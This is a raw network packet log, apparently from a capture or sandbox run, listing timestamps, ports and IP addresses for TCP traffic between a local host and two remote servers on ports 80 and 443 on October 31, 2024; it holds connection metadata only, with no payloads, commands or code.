Oct 31, 2024 05:07:29.343257904 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343269110 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343281031 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343292952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343317986 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343317986 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343331099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343549013 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343559980 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343570948 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343589067 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343601942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343606949 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343606949 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343621016 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343656063 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343935966 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343951941 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343964100 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343974113 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.343998909 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.343998909 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344039917 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344186068 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344197989 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344254971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344264984 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344269991 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344276905 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344289064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344300032 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.344311953 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344311953 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344331980 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.344362974 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.345719099 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.346193075 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.379225016 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.379246950 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.379256964 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.379329920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.418073893 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418083906 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418100119 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418112040 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418123960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418135881 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.418153048 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.418229103 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.421159983 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.421191931 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.421204090 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.421253920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.421253920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.451383114 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.451396942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.451502085 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461013079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461076021 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461080074 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461137056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461141109 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461148977 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461191893 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461191893 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461194992 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461206913 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461218119 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461229086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461252928 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461277008 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461412907 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461424112 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461435080 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461447001 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461457014 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461541891 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461563110 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461576939 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461592913 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461602926 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461615086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461625099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461625099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461625099 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461637974 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461637974 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461647987 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461669922 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461688042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461688042 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461730957 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461766005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461776972 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461787939 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.461827993 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.461848021 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.462472916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.462548971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.462573051 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.462635994 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.482312918 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.482336044 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.482456923 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.483522892 CET	49939	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.483536959 CET	443	49939	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.495976925 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.495994091 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.496004105 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.496021032 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.496051073 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.496081114 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.496107101 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.496987104 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.534830093 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.534843922 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.534856081 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.534912109 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.534943104 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.535600901 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.535609961 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.535757065 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.537791014 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.537842989 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.537914991 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.537996054 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.538048029 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.568284035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.568301916 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.568312883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.568599939 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577016115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577028036 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577039003 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577114105 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577217102 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577225924 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577236891 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577281952 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577300072 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577305079 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577315092 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577351093 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577461004 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577470064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577542067 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577574968 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577585936 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577596903 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577640057 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577703953 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577759981 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577775955 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577789068 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577800035 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.577804089 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.577833891 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578007936 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578056097 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578067064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578078985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578100920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578100920 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578133106 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578321934 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578330994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578341007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578372955 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578430891 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578454018 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578535080 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578541994 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578552008 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578562975 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578573942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578598022 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578629971 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.578882933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578902960 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578917027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.578963041 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.579318047 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.612989902 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.613003016 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.613013983 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.613166094 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.651765108 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.651813984 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.651825905 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.651837111 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.651870012 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.651892900 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.685298920 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685312033 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685322046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685376883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685385942 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.685388088 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685408115 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685412884 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.685424089 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685436010 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.685461044 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.685461044 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.685508013 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.693772078 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.693813086 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.693825006 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.693825960 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.693865061 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694170952 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694181919 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694191933 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694222927 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694242954 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694242954 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694248915 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694261074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694267035 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694272041 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694312096 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694312096 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694416046 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694426060 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694437027 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694538116 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694538116 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694539070 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694555044 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694602013 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694770098 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694844007 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694852114 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694854021 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694876909 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694879055 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.694895029 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.694921017 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695239067 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695250034 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695261955 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695272923 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695285082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695301056 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695306063 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695306063 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695322037 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695333004 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695341110 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695367098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695367098 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695749998 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695760965 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695774078 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.695811033 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.695811033 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.729758024 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729778051 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729788065 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729809046 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.729815006 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729825974 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729840994 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.729873896 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.729885101 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.729885101 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.729917049 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.746094942 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.746193886 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.746243954 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.746464968 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.746484995 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.746500969 CET	49931	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:29.746506929 CET	443	49931	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:29.748517990 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.753338099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.753397942 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.753505945 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.758240938 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.768764019 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.768774986 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.768785954 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.768815041 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.768847942 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802141905 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802154064 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802165985 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802203894 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802242994 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802264929 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802279949 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802292109 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802351952 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802351952 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802614927 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802627087 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802638054 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802653074 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802664042 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.802700043 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.802700043 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.810678005 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.810715914 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.810725927 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.810735941 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.810751915 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.810751915 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.810816050 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811038971 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811055899 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811098099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811098099 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811105013 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811147928 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811157942 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811168909 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811204910 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811219931 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811398983 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811409950 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811420918 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811460972 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811460972 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811573982 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811626911 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811638117 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811702013 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811702967 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811773062 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811781883 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811824083 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811830044 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811830044 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811880112 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811882019 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811892986 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811903954 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:29.811939001 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.811939001 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:29.812165976 CET	80	49913	185.215.113.16	192.168.2.4
